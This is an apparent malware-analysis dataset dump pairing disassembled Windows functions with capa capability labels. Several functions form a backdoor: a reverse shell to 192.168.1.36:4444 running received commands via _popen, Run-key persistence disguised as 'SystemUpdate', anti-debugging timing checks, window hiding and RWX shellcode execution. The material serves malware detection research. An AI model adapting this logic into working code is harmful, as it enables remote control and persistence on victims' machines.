joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004bda0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x480
mov rax, qword [0x10007f258]
xor rax, rsp
mov qword [rsp + 0x470], rax
xor r12d, r12d
mov ebp, edx
mov rsi, rcx
mov ebx, r12d
cmp rcx, r12
je 0x10004bddd
cmp word [rcx], r12w
jne 0x10004bde2
mov ebx, 0x57
mov edi, r12d
cmp ebx, r12d
jne 0x10004bdfb
mov edx, 0x2c
call sub.msvcrt.dll_wcschr
cmp rax, r12
sete dil
lea rcx, [rsp + 0x50]
call fcn.1000026c4
cmp edi, r12d
je 0x10004be87
lea rcx, [rsp + 0x62]
xor edx, edx
mov r8d, 0x40e
mov word [rsp + 0x60], r12w
call sub.msvcrt.dll_memset
mov dword [rsp + 0x48], 0x410
cmp ebx, r12d
jne 0x10004be9c
lea rax, [rsp + 0x48]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionDevices
mov r9d, 2
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov r8, rsi
mov qword [rsp + 0x28], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r12
call qword [sym.imp.API_MS_Win_Core_LocalRegistry_L1_1_0.dll_RegGetValueW]
mov ebx, eax
cmp eax, r12d
jne 0x10004be9c
lea r9, [rsp + 0x60]
lea rdx, str._s__s
lea rcx, [rsp + 0x50]
mov r8, rsi
call fcn.10000a890
jmp 0x10004be99
cmp ebx, r12d
jne 0x10004be9c
lea rcx, [rsp + 0x50]
mov rdx, rsi
call fcn.1000027cc
movzx ebx, ax
mov qword [rsp + 0x40], r12
cmp ebx, r12d
jne 0x10004bf63
lea rax, [rsp + 0x40]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.API_MS_Win_Core_LocalRegistry_L1_1_0.dll_RegOpenKeyExW]
mov ebx, eax
cmp eax, r12d
jne 0x10004bf4e
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.10001ad5c
lea rdx, str.Device
mov r9d, 1
add eax, eax
xor r8d, r8d
mov rcx, rdi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.API_MS_Win_Core_LocalRegistry_L1_1_0.dll_RegSetValueExW]
mov ebx, eax
cmp eax, r12d
jne 0x10004bf4e
xor r8d, r8d
lea r9, str.Windows
mov ecx, 0xffff
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendNotifyMessageW]
cmp eax, r12d
jne 0x10004bf3d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, r12d
jne 0x10004bf4e
mov edx, ebp
mov rcx, rsi
call fcn.10004bd50
mov ebx, eax
mov rcx, qword [rsp + 0x40]
cmp rcx, r12
je 0x10004bf63
call qword [sym.imp.API_MS_Win_Core_LocalRegistry_L1_1_0.dll_RegCloseKey]
mov qword [rsp + 0x40], r12
lea rcx, [rsp + 0x50]
call fcn.1000026e0
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1000010b0
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x1400014ef
Capabilities:
Execute anti-debugging instructions

Disassembly:
push rbp
mov rbp, rsp
rdtsc
shl rdx, 0x20
or rax, rdx
mov r8, rax
nop
rdtsc
shl rdx, 0x20
or rax, rdx
mov rdx, rax
nop
mov rax, rdx
shl rax, 3
sub rax, rdx
xor rax, 0x1337
mov rcx, rax
rdtsc
shl rdx, 0x20
or rax, rdx
nop
shr rax, 3
mov rdx, rax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
add rcx, rax
rdtsc
shl rdx, 0x20
or rax, rdx
nop
shl rax, 2
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
mov rax, rdx
shr rax, 1
sub rcx, rax
mov rdx, rcx
mov rax, r8
xor rax, rdx
pop rbp
ret

Function at 0x140001573
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
rdtsc
shl rdx, 0x20
or rax, rdx
nop
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
and eax, 0x7376d
test rax, rax
je 0x1400015ab
mov rax, qword [rbp - 8]
mov edx, eax
mov eax, dword [section..data]
xor eax, edx
mov dword [section..data], eax
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
jne 0x14000162a
mov edx, dword [section..data]
mov eax, edx
shl eax, 3
sub eax, edx
xor eax, 0x1337
mov ecx, eax
mov eax, dword [section..data]
shr eax, 3
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
add eax, edx
lea r8d, [rcx + rax]
mov eax, dword [section..data]
shl eax, 2
mov edx, eax
mov eax, 0xaaaaaaab
imul rax, rdx
shr rax, 0x20
mov ecx, eax
shr ecx, 1
mov eax, ecx
imul rax, rax, 0x24924925
shr rax, 0x20
mov edx, ecx
sub edx, eax
shr edx, 1
add eax, edx
shr eax, 2
mov edx, eax
shl edx, 3
sub edx, eax
mov eax, ecx
sub eax, edx
cmp r8d, eax
jne 0x140001631
mov eax, 1
jmp 0x140001636
mov eax, 0
test al, al
je 0x140001678
call fcn.1400014ef
mov rcx, rax
movabs rdx, 0x8080808080808081
mov rax, rcx
mul rdx
shr rdx, 7
mov rax, rdx
shl rax, 8
sub rax, rdx
sub rcx, rax
mov rdx, rcx
mov eax, edx
sub eax, 0x21524111
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14000167f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x160], rcx
mov dword [rbp + 0x168], edx
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x148], rax
mov word [rbp - 0x60], 2
mov eax, dword [rbp + 0x168]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x5e], ax
lea rax, [rbp - 0x60]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x160]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x148]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov rax, qword [rbp + 0x148]
add rsp, 0x1d0
pop rbp
ret
Function at 0x14000173f
Capabilities:
Execute anti-debugging instructions
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x430
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3c0], rcx
rdtsc
shl rdx, 0x20
or rax, rdx
nop
mov qword [rbp + 0x3a8], rax
lea rax, [rbp - 0x60]
mov r8d, 0x400
mov edx, 0x1337
mov rcx, rax
call sub.msvcrt.dll_memset
rdtsc
shl rdx, 0x20
or rax, rdx
nop
sub rax, qword [rbp + 0x3a8]
cmp rax, 0x992
setbe al
test al, al
je 0x140001756
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x3c0]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
test eax, eax
setg al
test al, al
je 0x140001756
lea rax, [rbp - 0x60]
lea rdx, [0x1400b6008]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x3a0], rax
jmp 0x14000187d
rdtsc
shl rdx, 0x20
or rax, rdx
nop
mov edx, eax
mov eax, edx
shl eax, 3
sub eax, edx
xor eax, 0x1337
mov ecx, eax
rdtsc
shl rdx, 0x20
or rax, rdx
nop
shr rax, 3
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
add eax, edx
add ecx, eax
rdtsc
shl rdx, 0x20
or rax, rdx
nop
shl rax, 2
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
mov rax, rdx
shr rax, 1
mov edx, eax
mov eax, ecx
sub eax, edx
mov dword [0x1400e2030], eax
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov ecx, eax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x3c0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rdx, qword [rbp + 0x3a0]
lea rax, [rbp - 0x60]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sub.msvcrt.dll_fgets
test rax, rax
setne al
test al, al
jne 0x1400017eb
mov rax, qword [rbp + 0x3a0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
jmp 0x140001756

Function at 0x1400018be
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x48]
mov r8, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov edx, eax
mov rax, qword [rbp - 0x48]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.SystemUpdate
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x150
pop rbp
ret
Function at 0x140001d73
Capabilities:
Create thread
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call fcn.14000bb90
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call fcn.140001573
call fcn.1400018be
mov edx, 0x115c
lea rax, str.192.168.1.36
mov rcx, rax
call fcn.14000167f
mov qword [rbp - 8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x140001a1e]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x140001abc]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call fcn.14000173f
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x14000bda0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140016690
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140016690
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x14000be10
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400e20b4]
mov rbx, rcx
test esi, esi
jle 0x14000bf40
mov rax, qword [0x1400e20b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000be5b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000bee5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000be40
mov rcx, rbx
call fcn.14000c880
mov rdi, rax
test rax, rax
je 0x14000bf62
mov rax, qword [0x1400e20b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000c9c0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400e20b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000bf47
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000bede
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000bef0
add dword [0x1400e20b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400e20b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000bede
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000bda0
nop dword [rax]
xor esi, esi
jmp 0x14000be68
mov rax, qword [0x1400e20b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000bda0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000bda0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000c4f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400e2120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e2100]
test rbx, rbx
je 0x14000c54c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000c543
test eax, eax
jne 0x14000c543
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000c528
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000c880
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400bc280]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000c8a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000c8a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000c8a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000c8fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000c8f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000c8a0
add rax, 0x28
cmp rax, r9
jne 0x14000c8e0
xor eax, eax
ret

Function at 0x14000c900
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bc280]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000c91f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000c928
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000c91f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000c9c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bc280]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000c9df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000c9e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140077b60
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140077ba8
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x140077b7a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b0140
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b5220]
jmp 0x14000d730

Function at 0x1400b0150
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b5220]
jmp 0x14000d730
Function at 0x14000b800
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x14002fdd8]
test rcx, rcx
je 0x14000b83b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000b82e
mov rcx, qword [0x14002fdd8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14002fdd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14002fde8], 0
je 0x14000b92e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140029928]
mov qword [rsp + 0x80], rsi
lea rsi, [0x140040610]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b90f
test al, 0x10
je 0x14000b90f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000b8b5
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x1400010d0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, 0xffffffffffffffff
mov rbx, rdx
mov r8, rax
mov rdi, rcx
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x1400010f0
nop word [rax + rax]
cmp byte [rdx + rax + 1], 0
lea rax, [rax + 1]
jne 0x140001100
lea rcx, [rax + 0x5f]
add rcx, r8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140001162
mov r9, rbx
lea rdx, str.python_DevicePlacement.py___s____s_
mov r8, rdi
mov rcx, rax
call fcn.140001070
mov rdx, rsi
lea rcx, str._nExecuting_command___s_..._n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._nDevice_placement_complete..._n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140001ea4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001eee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001eee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001eee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001eee
cmp dword [rcx + 0x84], 0xe
jbe 0x140001eee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ef0
xor al, al
add rsp, 0x28
ret
Function at 0x14000112c
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
cpuid
mov eax, 1
cpuid
movabs r9, 0xb2d05e00
cpuid
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
fldpi
frndint
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rcx
cmp rax, r9
jb 0x14000114f
push rbp
mov rbp, rsp
sub rsp, 8
mov r10, 0xa
mov rcx, 0x12345678
dec rcx
xor r9, r9
mov rax, rcx
jne 0x14000117a
xor rax, rax
mov rax, rbx
add rax, rdx
nop
nop
nop
dec r10
xor r11, r11
jne 0x140001173
xor rax, rax
mov rax, 0xa
dec rax
nop
nop
add rsp, 8
pop rbp
ret

Function at 0x140003b42
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xa6a3
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140003b93
mov rbx, rax
call 0x140003b76
nop
pop rsi
mov r9, rax
add rsi, 0x5ab6e
mov rcx, 0xa6a3
mov r8, rcx
lea rax, [rsi]
mov dl, byte [rax]
mov byte [rbx], dl
add rsi, 1
add rbx, 1
add rax, 1
dec r8
jne 0x140003b8f
call r9
mov ecx, 1
ret
Function at 0x140004000
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rdi
push r12
sub rsp, 0x30
mov rdi, rcx
lea rcx, str.wintrust.dll
mov r12d, edx
mov qword [rsp + 0x60], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14000418b
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x68], r13
lea rdx, str.CryptCATAdminAddCatalog
mov rcx, rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptCATAdminRemoveCatalog
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptCATAdminAcquireContext
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptCATAdminReleaseContext
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptCATAdminReleaseCatalogContext
mov rcx, rbx
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test r15, r15
je 0x14000415a
test rsi, rsi
je 0x14000415a
test r14, r14
je 0x14000415a
test r13, r13
je 0x14000415a
test rax, rax
je 0x14000415a
lea rdx, [0x140047e00]
lea rcx, [rsp + 0x60]
xor r8d, r8d
call r14
test eax, eax
je 0x14000415a
mov rcx, qword [rsp + 0x60]
mov rdx, rdi
test r12d, r12d
jne 0x14000411e
xor r8d, r8d
call rsi
test eax, eax
jne 0x140004110
lea rcx, str.Failled_to_remove_catalog_from_the_security_catalog...
call fcn.140008040
jmp 0x14000415a
lea rcx, str.The_catalog_was_removed_successfully...
call fcn.140008040
jmp 0x14000415a
lea r8, str.avfwot.cat
xor r9d, r9d
call r15
mov rdi, rax
test rax, rax
jne 0x140004141
lea rcx, str.Failled_to_add_catalog_to_the_security_catalog...
call fcn.140008040
jmp 0x14000415a
lea rcx, str.The_catalog_was_added_successfully...
call fcn.140008040
mov rcx, qword [rsp + 0x60]
xor r8d, r8d
mov rdx, rdi
call rbp
mov rcx, qword [rsp + 0x60]
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
test rcx, rcx
je 0x14000417d
xor edx, edx
call r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r13, qword [rsp + 0x68]
add rsp, 0x30
pop r12
pop rdi
pop rbx
ret

Function at 0x140005dc0
Capabilities:
Check if file exists

Disassembly:
sub rsp, 0x288
mov rax, qword [0x14005bed0]
xor rax, rsp
mov qword [rsp + 0x270], rax
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x140005e0f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x140005e18
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14001d550
add rsp, 0x288
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14001d550
add rsp, 0x288
ret
Function at 0x140005f20
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
push rsi
push r12
sub rsp, 0x290
mov rax, qword [0x14005bed0]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rbp, rdx
lea rdx, [rsp + 0x20]
mov r12, r8
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140005f5c
xor eax, eax
jmp 0x140005fd8
mov qword [rsp + 0x288], rbx
mov qword [rsp + 0x280], rdi
or ebx, 0xffffffff
xor edi, edi
lea rcx, [rsp + 0x20]
mov rdx, r12
call rbp
lea rdx, [rsp + 0x20]
mov rcx, rsi
test eax, eax
cmove ebx, edi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x140005f99
cmp ebx, 0xffffffff
je 0x140005f71
jmp 0x140005fb7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x140005fa9
lea ebx, [rax - 0x11]
jmp 0x140005fb7
lea rcx, str.Couldnt_find_next_file.
call fcn.14001d570
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
test ebx, ebx
mov rbx, qword [rsp + 0x288]
setne dil
mov eax, edi
mov rdi, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14001d550
add rsp, 0x290
pop r12
pop rsi
pop rbp
ret

Function at 0x140006010
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rcx, qword [rcx]
lea r9, [rsp + 0x58]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [rsp + 0x58]
test eax, eax
cmove ecx, ebx
mov eax, ecx
add rsp, 0x30
pop rbx
ret